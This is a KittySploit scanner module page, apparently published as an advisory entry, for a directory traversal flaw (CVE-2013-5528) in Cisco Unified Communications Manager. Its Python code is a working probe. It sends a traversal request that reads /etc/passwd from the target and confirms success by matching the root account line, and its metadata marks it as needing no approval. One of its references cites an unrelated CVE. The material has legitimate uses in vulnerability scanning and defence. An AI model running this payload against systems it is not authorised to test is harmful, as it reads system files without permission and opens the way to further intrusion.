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Cisco Unified Communications Manager 7/8/9 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote authenticated users can read arbitrary files in Cisco Unified Communications Manager.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Cisco Unified Communications Manager 7/8/9 - Directory Traversal Detection',
        'description': 'A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2013', 'lfi', 'cisco', 'edb', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.exploit-db.com/exploits/40887',
            'https://nvd.nist.gov/vuln/detail/CVE-2014-3120',
            'http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5528',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2013-5528',
    }

    def run(self):
        r = self.http_request(method="GET", path='/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Cisco Unified Communications Manager 7/8/9 - Directory Traversal detected",
                path='/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd',
            )
            return True
        return False

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